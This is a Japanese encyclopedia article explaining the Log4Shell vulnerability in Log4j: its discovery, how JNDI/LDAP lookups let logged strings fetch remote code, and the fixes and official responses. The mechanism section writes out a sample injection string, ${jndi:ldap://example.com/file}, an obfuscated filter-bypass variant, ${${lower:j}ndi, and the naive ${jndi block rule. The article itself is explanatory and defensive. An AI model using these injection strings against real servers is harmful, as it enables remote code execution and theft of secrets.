Log4Shell

Log4Shell（別名CVE-2021-44228）は、よく使われているJava logging frameworkのLog4jで発見されたゼロデイの任意コード実行脆弱性である。この脆弱性は、2021年11月24日にAlibabaのクラウドセキュリティチームによって秘密裏にApacheに報告され、2021年12月9日に一般に公開された。
この脆弱性は、Log4jがLDAPとJNDIのリクエストをチェックしないことを利用している。これにより、攻撃者は任意のJavaコードをサーバーや他のコンピュータ上で実行できてしまう。影響を受けるサービスとしては、Amazon AWS、Cloudflare、iCloud、JavaバージョンのMinecraft、Steam、Tencent QQなどがある。この脆弱性を、LunaSecは「壊滅的な割合の設計上の失敗」、Tenableは「過去10年間で最大かつ最も重大な単一の脆弱性」と特徴づけた。Log4jを擁するApache Software Foundationは、Log4Shellのlabel=CVSSレーティングを最大値の10に指定した。

**背景**
Log4jは、ソフトウェア開発者がアプリケーション内のさまざまなデータをロギングできるようにするオープンソースのログフレームワークである。ログデータにはユーザー入力が含まれる場合がある。Log4jは幅広いJavaアプリケーション、特にエンタープライズのソフトウェアで利用されている。もともとは2001年にCeki Gülcüによって書かれ、現在はApache Software FoundationのApache Logging Servicesの一部となっている。

**動作**
Java Naming and Directory Interface（JNDI）を使用すると、実行時にデータへのパスを指定してJavaオブジェクトがルックアップできるようになる。JNDIではいくつかのディレクトリインターフェイスを利用でき、各インターフェイスはファイルを検索するために異なるスキームを提供している。これらのインターフェースの中に、Java以外でも利用されるLightweight Directory Access Protocol（LDAP）プロトコルがあり、ローカルまたはインターネット上の任意の場所にある適切なサーバーからURLとしてオブジェクトデータを取得する。
デフォルトの設定では、文字列をロギングする際に、Log4j 2は ${prefix:name}という形式の式で文字列置換を実行する。たとえば、Text: ${java:version}はText: Java version 1.7.0_67などの文字列に置換される。認識される式の中には、${jndi:}がある。これは、LDAPを経由したルックアップを指定することにより、任意のURLに問い合わせが行われ、Javaオブジェクトデータとしてロードされるというものである、たとえば、${jndi:ldap://example.com/file}は、インターネットに接続されていた場合、指定したURLからデータを読み込む。したがって、攻撃者はロギングされる文字列を入力することで、公開URLでホストされた悪意のあるコードを読み込ませることが可能になる。たとえデータの実行自体が無効化されていたとしても、攻撃者はURLに特定の文字列を含めることで、たとえば秘密にすべき環境変数などのデータを攻撃者のサーバーに送信できる。
HTTPリクエストはロギングされることが多いため、よくある攻撃ベクターは、HTTPリクエストのURLや、ログに書かれることが多いUser-AgentなどのHTTPヘッダに悪意のある文字列を置くことである。初期の緩和策の1つは、${jndiなどの文字列を含むすべてのリクエストをブロックするという方法だった。しかし、このように単純に検索するだけの対策は、リクエストを難読化することで回避できてしまう。たとえば、${${lower:j}ndiは、文字jを小文字にする操作が実行されたあとにJNDIルックアップに変換されてしまう。入力がすぐにログに記録されなかったとしても、後に内部処理中にログに記録されて実行されてしまう可能性もある。
なおLog4j 1.x系については、JNDI Lookup機能を持たないこと、またJMS Appenderが有効でもクラス情報がデシリアライズされないため、本脆弱性の影響を受けない。

**緩和**
この脆弱性の修正は、脆弱性が公開される3日前の2021年12月6日に、Log4jバージョン2.15.0-rc1でリリースされた。修正にはルックアップに使用できるサーバーとプロトコルの制限が含まれ、複数のシステムプロパティを使用して設定できる。修正は、システムプロパティlog4j2.formatMsgNoLookupsを置き換えるものである。2.10.0以降のバージョンでは、脆弱性を緩和するためにlog4j2.formatMsgNoLookupsをtrueに設定することが推奨されている。2.10.0以前のバージョンでは、クラスorg.apache.logging.log4j.core.lookup.JndiLookupをclasspathから削除する必要がある。
さらに、バージョン2.16.0以降では、JNDIを使用するすべての機能はデフォルトで無効になる。
新しいバージョンのJava Runtime Environment（JRE）は、リモートコードがデフォルトでロードされないようにブロックすることでこの脆弱性を緩和できるが、特定のアプリケーションにはまだ他の攻撃ベクターが存在する。脆弱性のあるlog4jのバージョンの発見を助けるためにいくつかの手法とツールが公開されている。

**反応と影響**
アメリカ合衆国では、Cybersecurity and Infrastructure Security Agency（CISA）の長官Jen Easterlyがエクスプロイトを「致命的（critical）」と述べ、ベンダーにソフトウェアアップデートを優先するようアドバイスを出した。Canadian Centre for Cyber Security（CCCS）は、さまざまな組織に直ちに対応を取るように呼びかけた。ドイツ連邦情報セキュリティ庁（BSI）は、この脆弱性を政府機関の最高の脅威レベルにあると指定し、「非常に重大な脅威の状況」と呼んだ。また、いくつかの攻撃がすでに成功しており、エクスプロイトの範囲を評価するのは依然として難しいと報告した。
Cloudflare CEOのMatthew Princeによると、エクスプロイトの利用またはテストを示すエビデンスは、一般に公開される9日前の早くも12月1日に遡る。 サイバーセキュリティ会社のGreyNoiseによれば、いくつかのIPアドレスが脆弱性のあるサーバーをチェックするためにウェブサイトをスクレイピングしていることがわかっている。Canada Revenue Agencyは、エクスプロイトが発覚してから一時的にオンラインサービスをシャットダウンし、Government of Quebecは「予防措置（preventative measure）」として約4000のウェブサイトを閉鎖した。
システム管理者は、状況を評価し、ライブラリを更新またはシステムプロパティを使用してルックアップを無効にする緩和策を可能な限り迅速に実行するようにアドバイスされている。

**出典**

**外部リンク**
  Log4j ウェブサイト